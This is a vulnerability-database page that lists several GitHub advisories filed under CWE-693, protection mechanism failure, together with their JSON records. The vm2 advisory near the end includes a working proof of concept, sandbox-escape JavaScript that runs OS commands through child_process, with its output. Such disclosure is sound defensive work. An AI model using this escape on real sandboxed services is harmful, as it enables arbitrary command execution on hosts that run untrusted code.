CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1262 vulnerabilities reference this CWE, most recent first.
GHSA-8C24-V4PW-Q2PM
Vulnerability from github – Published: 2026-08-31 09:30 – Updated: 2026-08-31 09:30@hulumi/policies versions before 1.3.2 contain an evidence validation bypass vulnerability in Cloudflare and deployment-governance validators that allows attackers to suppress violations by submitting unrelated compliant evidence. Attackers can use evidence from different zones, hostnames, origins, or repositories to bypass security guardrails for unrelated resources in the same stack.
{
"affected": [],
"aliases": [
"CVE-2026-82855"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T09:17:05Z",
"severity": "CRITICAL"
},
"details": "@hulumi/policies versions before 1.3.2 contain an evidence validation bypass vulnerability in Cloudflare and deployment-governance validators that allows attackers to suppress violations by submitting unrelated compliant evidence. Attackers can use evidence from different zones, hostnames, origins, or repositories to bypass security guardrails for unrelated resources in the same stack.",
"id": "GHSA-8c24-v4pw-q2pm",
"modified": "2026-08-31T09:30:30Z",
"published": "2026-08-31T09:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kerberosmansour/hulumi/security/advisories/GHSA-59f3-7227-wmh4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82855"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hulumi-policies-before-1.3.2-evidence-validation-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8C4Q-99XV-F997
Vulnerability from github – Published: 2026-08-11 18:30 – Updated: 2026-08-11 18:30Protection mechanism failure for some Intel(R) AI Reference Models before version v3.4.1 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.
{
"affected": [],
"aliases": [
"CVE-2026-21400"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T17:17:55Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure for some Intel(R) AI Reference Models before version v3.4.1 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with a privileged user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires passive user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.",
"id": "GHSA-8c4q-99xv-f997",
"modified": "2026-08-11T18:30:54Z",
"published": "2026-08-11T18:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21400"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01432.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8C8F-8RQ7-F6JR
Vulnerability from github – Published: 2026-09-14 21:31 – Updated: 2026-09-16 21:31A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7. An app may bypass Gatekeeper checks.
{
"affected": [],
"aliases": [
"CVE-2026-28899"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T21:17:05Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7. An app may bypass Gatekeeper checks.",
"id": "GHSA-8c8f-8rq7-f6jr",
"modified": "2026-09-16T21:31:50Z",
"published": "2026-09-14T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28899"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/128067"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149035"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149042"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/149043"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8C8P-H27X-RRC9
Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-16 21:32CMAK through 3.0.0.6 fails to apply the scheduled leader election feature toggle to HTML form routes, allowing attackers to bypass the feature gate. Attackers can access the form endpoints to start and stop the recurring election scheduler, disrupting leadership across managed Kafka clusters.
{
"affected": [],
"aliases": [
"CVE-2026-92778"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T21:17:26Z",
"severity": "MODERATE"
},
"details": "CMAK through 3.0.0.6 fails to apply the scheduled leader election feature toggle to HTML form routes, allowing attackers to bypass the feature gate. Attackers can access the form endpoints to start and stop the recurring election scheduler, disrupting leadership across managed Kafka clusters.",
"id": "GHSA-8c8p-h27x-rrc9",
"modified": "2026-09-16T21:32:54Z",
"published": "2026-09-16T21:32:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92778"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/CMAK/issues/936"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/CMAK"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/CMAK/blob/3.0.0.6/app/controllers/PreferredReplicaElection.scala#L110-L143"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/cmak-through-3.0.0.6-feature-gate-bypass-via-html-form-routes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8CFW-PCWH-V63W
Vulnerability from github – Published: 2026-08-20 18:44 – Updated: 2026-08-20 18:44Impact
Affected versions of Winter CMS allow authenticated backend users with CMS template-editing permissions to escape the Twig sandbox ("safe mode") that is meant to restrict what template code can do. Using any of the following permissions, an attacker can read and modify arbitrary database records, execute arbitrary SQL (including DDL such as DROP TABLE), exfiltrate sensitive data such as backend administrator credentials, and achieve remote code execution by injecting PHP into a CMS page, layout, or partial code section:
cms.manage_pagescms.manage_layoutscms.manage_partials
This is an incomplete-fix follow-up to CVE-2024-54149 (GHSA-xhw3-4j3m-hq53). That fix added a blocklist of dangerous methods to System\Twig\SecurityPolicy, but the blocklist missed a large number of equivalent methods and did not account for the way Eloquent models forward calls to the query builder. As a result the sandbox could be bypassed through — among others — saveQuietly()/deleteQuietly(), increment()/decrement(), newQuery(), getConnection(), getConnectionResolver(), relation and pivot methods, and higher-order collection methods that execute callables.
To actively exploit this issue, an attacker would need an authenticated backend account with one of the permissions listed above. These permissions are intended for trusted developers/administrators, and the sandbox is the additional protection layer this advisory is concerned with.
Patches
System\Twig\SecurityPolicy has been reworked so that the blocklist reflects the real method-forwarding behaviour of the database layer rather than a flat list of method names. A method blocked on the query builder is now also blocked when it is reached through a model, Eloquent builder, or relation (via a transitive forwarder chain), which closes the __call forwarding escape that made the previous blocklist bypassable. In addition, the per-class blocklists have been expanded, the database connection and connection resolver are locked down, the source() and constant() Twig functions are restricted, and a SafeCollection/SafePaginator layer neutralises callable arguments passed to higher-order collection and paginator methods. Read-only query building continues to work as before; only data modification, raw SQL/connection access, and callable execution are blocked.
This security issue has been fixed in v1.2.13.
After upgrading, clear the compiled Twig template cache (e.g. php artisan cache:clear) so that existing templates recompile under the updated policy.
Workarounds
If you cannot upgrade immediately, apply https://github.com/wintercms/winter/commit/725bbcda232466f7f71381c271c6916573d576e6 manually. As an interim mitigation, restrict cms.manage_pages, cms.manage_layouts, and cms.manage_partials to fully trusted administrators only, since these permissions grant the ability to edit template code that the sandbox is designed to contain.
References
- Original issue: CVE-2024-54149 / GHSA-xhw3-4j3m-hq53 — this advisory addresses an incomplete fix for it.
Credit to Mounir Elsrogy (@M9nx) for reporting the issue.
For more information
If you have any questions or comments about this advisory: - Email us at hello@wintercms.com
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "winter/wn-system-module"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.7"
},
{
"fixed": "1.2.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T18:44:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nAffected versions of Winter CMS allow authenticated backend users with CMS template-editing permissions to escape the Twig sandbox (\"safe mode\") that is meant to restrict what template code can do. Using any of the following permissions, an attacker can read and modify arbitrary database records, execute arbitrary SQL (including DDL such as `DROP TABLE`), exfiltrate sensitive data such as backend administrator credentials, and achieve remote code execution by injecting PHP into a CMS page, layout, or partial code section:\n\n- **`cms.manage_pages`**\n- **`cms.manage_layouts`**\n- **`cms.manage_partials`**\n\nThis is an incomplete-fix follow-up to CVE-2024-54149 (GHSA-xhw3-4j3m-hq53). That fix added a blocklist of dangerous methods to `System\\Twig\\SecurityPolicy`, but the blocklist missed a large number of equivalent methods and did not account for the way Eloquent models forward calls to the query builder. As a result the sandbox could be bypassed through \u2014 among others \u2014 `saveQuietly()`/`deleteQuietly()`, `increment()`/`decrement()`, `newQuery()`, `getConnection()`, `getConnectionResolver()`, relation and pivot methods, and higher-order collection methods that execute callables.\n\nTo actively exploit this issue, an attacker would need an authenticated backend account with one of the permissions listed above. These permissions are intended for trusted developers/administrators, and the sandbox is the additional protection layer this advisory is concerned with.\n\n### Patches\n\n`System\\Twig\\SecurityPolicy` has been reworked so that the blocklist reflects the real method-forwarding behaviour of the database layer rather than a flat list of method names. A method blocked on the query builder is now also blocked when it is reached through a model, Eloquent builder, or relation (via a transitive forwarder chain), which closes the `__call` forwarding escape that made the previous blocklist bypassable. In addition, the per-class blocklists have been expanded, the database connection and connection resolver are locked down, the `source()` and `constant()` Twig functions are restricted, and a `SafeCollection`/`SafePaginator` layer neutralises callable arguments passed to higher-order collection and paginator methods. Read-only query building continues to work as before; only data modification, raw SQL/connection access, and callable execution are blocked.\n\nThis security issue has been fixed in [v1.2.13](https://github.com/wintercms/winter/commit/725bbcda232466f7f71381c271c6916573d576e6).\n\nAfter upgrading, clear the compiled Twig template cache (e.g. `php artisan cache:clear`) so that existing templates recompile under the updated policy.\n\n### Workarounds\n\nIf you cannot upgrade immediately, apply https://github.com/wintercms/winter/commit/725bbcda232466f7f71381c271c6916573d576e6 manually. As an interim mitigation, restrict `cms.manage_pages`, `cms.manage_layouts`, and `cms.manage_partials` to fully trusted administrators only, since these permissions grant the ability to edit template code that the sandbox is designed to contain.\n\n### References\n\n- Original issue: CVE-2024-54149 / GHSA-xhw3-4j3m-hq53 \u2014 this advisory addresses an incomplete fix for it.\n\nCredit to Mounir Elsrogy ([@M9nx](https://github.com/M9nx)) for reporting the issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Email us at [hello@wintercms.com](mailto:hello@wintercms.com)",
"id": "GHSA-8cfw-pcwh-v63w",
"modified": "2026-08-20T18:44:23Z",
"published": "2026-08-20T18:44:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wintercms/winter/security/advisories/GHSA-8cfw-pcwh-v63w"
},
{
"type": "WEB",
"url": "https://github.com/wintercms/winter/commit/725bbcda232466f7f71381c271c6916573d576e6"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xhw3-4j3m-hq53"
},
{
"type": "PACKAGE",
"url": "https://github.com/wintercms/winter"
},
{
"type": "WEB",
"url": "https://github.com/wintercms/winter/releases/tag/v1.2.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Winter: Authenticated Twig sandbox escape in CMS SecurityPolicy (bypass of CVE-2024-54149)"
}
GHSA-8CXW-WVHC-P4X4
Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-10-21 13:00Jenkins NUnit Plugin 0.27 and earlier implements an agent-to-controller message that parses files inside a user-specified directory as test results, allowing attackers able to control agent processes to obtain test results from files in an attacker-specified directory on the Jenkins controller. NUnit Plugin 0.28 changes the message type from agent-to-controller to controller-to-agent, preventing execution on the controller.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.27"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:nunit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43414"
],
"database_specific": {
"cwe_ids": [
"CWE-552",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-19T22:24:14Z",
"nvd_published_at": "2022-10-19T16:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins NUnit Plugin 0.27 and earlier implements an agent-to-controller message that parses files inside a user-specified directory as test results, allowing attackers able to control agent processes to obtain test results from files in an attacker-specified directory on the Jenkins controller. NUnit Plugin 0.28 changes the message type from agent-to-controller to controller-to-agent, preventing execution on the controller.",
"id": "GHSA-8cxw-wvhc-p4x4",
"modified": "2022-10-21T13:00:27Z",
"published": "2022-10-19T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43414"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/nunit-plugin/commit/e97a5aa804019ab345f50014f56ece23882c7475"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2551"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins NUnit Plugin vulnerable to Protection Mechanism Failure"
}
GHSA-8FF2-7HGC-RM8C
Vulnerability from github – Published: 2025-01-08 03:30 – Updated: 2025-01-08 03:30Access control vulnerability in the identity authentication module Impact: Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2024-56439"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-08T03:15:09Z",
"severity": "HIGH"
},
"details": "Access control vulnerability in the identity authentication module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-8ff2-7hgc-rm8c",
"modified": "2025-01-08T03:30:24Z",
"published": "2025-01-08T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56439"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2025/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G8V-86WR-F78P
Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32Protection Mechanism Failure in Zoom Workplace for iOS before version 7.0.0 may allow an authenticated user to conduct a disclosure of information via physical access.
{
"affected": [],
"aliases": [
"CVE-2026-30904"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T19:17:05Z",
"severity": "LOW"
},
"details": "Protection Mechanism Failure in Zoom Workplace for iOS before version 7.0.0 may allow an authenticated user to conduct a disclosure of information via physical access.",
"id": "GHSA-8g8v-86wr-f78p",
"modified": "2026-05-13T21:32:05Z",
"published": "2026-05-13T21:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30904"
},
{
"type": "WEB",
"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8H25-Q488-4HXW
Vulnerability from github – Published: 2026-04-23 21:46 – Updated: 2026-05-11 13:49Overview
A critical Remote Code Execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. The issue has been fixed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openlearnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41900"
],
"database_specific": {
"cwe_ids": [
"CWE-250",
"CWE-284",
"CWE-693",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:46:07Z",
"nvd_published_at": "2026-05-08T04:16:18Z",
"severity": "HIGH"
},
"details": "## Overview\n\nA critical Remote Code Execution (RCE) vulnerability was identified in the OpenLearnX code execution environment, allowing sandbox escape and arbitrary command execution. The issue has been fixed.",
"id": "GHSA-8h25-q488-4hxw",
"modified": "2026-05-11T13:49:47Z",
"published": "2026-04-23T21:46:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-8h25-q488-4hxw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41900"
},
{
"type": "WEB",
"url": "https://github.com/th30d4y/OpenLearnX/commit/14765d7d1856d564747c55c5412e2f38feab079e"
},
{
"type": "PACKAGE",
"url": "https://github.com/th30d4y/OpenLearnX"
},
{
"type": "WEB",
"url": "https://github.com/th30d4y/OpenLearnX/releases/tag/v2.0.3-security-fix"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenLearnX has Critical Remote Code Execution Through Python Sandbox Escape via Code Execution Environment"
}
GHSA-8HG8-63C5-GWMX
Vulnerability from github – Published: 2026-05-07 05:13 – Updated: 2026-05-14 20:37Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
new NodeVM({ nesting: true, require: false }).run(`
const { NodeVM: NVM } = require('vm2');
module.exports = new NVM({ require: { builtin: ['child_process'] } })
.run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.0"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44007"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:13:21Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require(\u0027vm2\u0027)` regardless of the outer VM\u0027s `require` configuration \u2014 including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** \u2014 `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n __proto__: null,\n vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** \u2014 When `nesting: true`, this override is passed into the resolver factory alongside the host\u0027s `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n requireOpts,\n nesting \u0026\u0026 NESTING_OVERRIDE, // \u2190 injected when nesting:true\n this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** \u2014 This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n if (!options) {\n if (!override) return DENY_RESOLVER; // require:false, no nesting \u2192 deny all\n // BUG: require:false + nesting:true reaches here\n // override (NESTING_OVERRIDE) is applied, making vm2 available\n const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable\n }\n // ...\n}\n```\n\n**`lib/builtin.js:102-106`** \u2014 `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n const keys = Object.getOwnPropertyNames(overrides);\n for (const key of keys) {\n res.set(key, overrides[key]); // vm2 always injected when nesting:true\n }\n}\n```\n\nThe result: `require(\u0027vm2\u0027)` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses \u2014 unconstrained by the outer VM \u2014 and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n // Step 1: require(\u0027vm2\u0027) succeeds despite require:false on the outer VM\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n\n // Step 2: create an inner NodeVM with attacker-chosen require config\n // This inner VM has no relation to the outer VM\u0027s restrictions\n const inner = new NVM({ require: { builtin: [\u0027child_process\u0027] } });\n\n // Step 3: execute arbitrary OS command in the inner VM\n module.exports = inner.run(\n \u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027\n );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works \u2014 the outer VM\u0027s require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n module.exports = new NVM({ require: { builtin: [\u0027child_process\u0027] } })\n .run(\u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027);\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: [\u0027path\u0027] }` still allows `require(\u0027vm2\u0027)` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not \u2014 `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: 